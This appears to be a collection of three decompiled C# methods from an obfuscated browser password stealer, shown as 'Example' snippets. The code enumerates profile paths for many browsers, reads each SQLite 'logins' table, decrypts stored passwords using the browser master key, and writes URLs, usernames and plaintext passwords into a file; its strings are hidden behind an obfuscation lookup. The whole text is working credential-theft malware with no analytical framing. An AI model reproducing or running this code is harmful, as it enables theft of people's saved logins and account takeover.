Example #1
0
        // Token: 0x06000314 RID: 788 RVA: 0x0002A1E8 File Offset: 0x000283E8
        public static void Decrypt(string path)
        {
            List <Account> list = Chrom.Grab();

            File.WriteAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394229));
            foreach (Account account in list)
            {
                File.AppendAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394228) + account.URL + Environment.NewLine);
                File.AppendAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394187) + account.UserName + Environment.NewLine);
                File.AppendAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394202) + account.Password + Environment.NewLine);
                File.AppendAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394153) + account.Application + Environment.NewLine);
                File.AppendAllText(path + ChromV266351.Strings.Get(107394218), ChromV266351.Strings.Get(107394164) + Environment.NewLine);
                Dec.colvo++;
            }
        }
Example #2
0
        // Token: 0x0600026D RID: 621 RVA: 0x000136D8 File Offset: 0x000118D8
        public static List <Account> Grab()
        {
            Dictionary <string, string> dictionary = new Dictionary <string, string>();

            dictionary.Add(ChromV265450.Strings.Get(107395757), Chrom.LocalApplicationData + ChromV265450.Strings.Get(107395748));
            dictionary.Add(ChromV265450.Strings.Get(107395715), Path.Combine(Chrom.ApplicationData, ChromV265450.Strings.Get(107395738)));
            dictionary.Add(ChromV265450.Strings.Get(107395701), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395660)));
            dictionary.Add(ChromV265450.Strings.Get(107395619), Chrom.LocalApplicationData + ChromV265450.Strings.Get(107395634));
            dictionary.Add(ChromV265450.Strings.Get(107396077), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107396088)));
            dictionary.Add(ChromV265450.Strings.Get(107396055), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107396010)));
            dictionary.Add(ChromV265450.Strings.Get(107395997), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395948)));
            dictionary.Add(ChromV265450.Strings.Get(107395955), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395934)));
            dictionary.Add(ChromV265450.Strings.Get(107395881), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395892)));
            dictionary.Add(ChromV265450.Strings.Get(107395327), Chrom.LocalApplicationData + ChromV265450.Strings.Get(107395274));
            dictionary.Add(ChromV265450.Strings.Get(107395281), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395240)));
            dictionary.Add(ChromV265450.Strings.Get(107395211), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395202)));
            dictionary.Add(ChromV265450.Strings.Get(107395181), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395196)));
            dictionary.Add(ChromV265450.Strings.Get(107395167), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395158)));
            dictionary.Add(ChromV265450.Strings.Get(107395133), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395124)));
            dictionary.Add(ChromV265450.Strings.Get(107395091), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395578)));
            dictionary.Add(ChromV265450.Strings.Get(107395541), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395512)));
            dictionary.Add(ChromV265450.Strings.Get(107395439), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395430)));
            dictionary.Add(ChromV265450.Strings.Get(107395405), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395392)));
            dictionary.Add(ChromV265450.Strings.Get(107395367), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395386)));
            dictionary.Add(ChromV265450.Strings.Get(107395349), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107394792)));
            dictionary.Add(ChromV265450.Strings.Get(107394759), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107394778)));
            dictionary.Add(ChromV265450.Strings.Get(107394721), Path.Combine(Chrom.ApplicationData, ChromV265450.Strings.Get(107394736)));
            dictionary.Add(ChromV265450.Strings.Get(107394635), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107394626)));
            dictionary.Add(ChromV265450.Strings.Get(107394617), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107394608)));
            dictionary.Add(ChromV265450.Strings.Get(107395055), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395066)));
            dictionary.Add(ChromV265450.Strings.Get(107395009), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107395028)));
            dictionary.Add(ChromV265450.Strings.Get(107395003), Path.Combine(Chrom.LocalApplicationData, ChromV265450.Strings.Get(107394950)));
            List <Account> list = new List <Account>();

            foreach (KeyValuePair <string, string> keyValuePair in dictionary)
            {
                list.AddRange(Chrom.Accounts(keyValuePair.Value, keyValuePair.Key, ChromV265450.Strings.Get(107394917)));
            }
            return(list);
        }
Example #3
0
        // Token: 0x0600026E RID: 622 RVA: 0x00013B44 File Offset: 0x00011D44
        private static List <Account> Accounts(string path, string browser, string table = "logins")
        {
            List <string>  allProfiles = Chrom.GetAllProfiles(path);
            List <Account> list        = new List <Account>();

            foreach (string text in allProfiles.ToArray())
            {
                if (File.Exists(text))
                {
                    SQLiteHandler sqliteHandler;
                    try
                    {
                        sqliteHandler = new SQLiteHandler(text);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                        goto IL_199;
                    }
                    if (sqliteHandler.ReadTable(table))
                    {
                        for (int j = 0; j <= sqliteHandler.GetRowCount() - 1; j++)
                        {
                            try
                            {
                                string value  = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394940));
                                string value2 = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394891));
                                string text2  = sqliteHandler.GetValue(j, ChromV265450.Strings.Get(107394902));
                                if (text2 != null)
                                {
                                    if (text2.StartsWith(ChromV265450.Strings.Get(107394849)) || text2.StartsWith(ChromV265450.Strings.Get(107394876)))
                                    {
                                        byte[] masterKey = Chrom.GetMasterKey(Directory.GetParent(text).Parent.FullName);
                                        if (masterKey == null)
                                        {
                                            goto IL_183;
                                        }
                                        text2 = Chrom.DecryptWithKey(Encoding.Default.GetBytes(text2), masterKey);
                                    }
                                    else
                                    {
                                        text2 = Chrom.Decrypt(text2);
                                    }
                                    if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(text2))
                                    {
                                        list.Add(new Account
                                        {
                                            URL         = value,
                                            UserName    = value2,
                                            Password    = text2,
                                            Application = browser
                                        });
                                    }
                                }
                            }
                            catch (Exception ex2)
                            {
                                Console.WriteLine(ex2.ToString());
                            }
                            IL_183 :;
                        }
                    }
                }
                IL_199 :;
            }
            return(list);
        }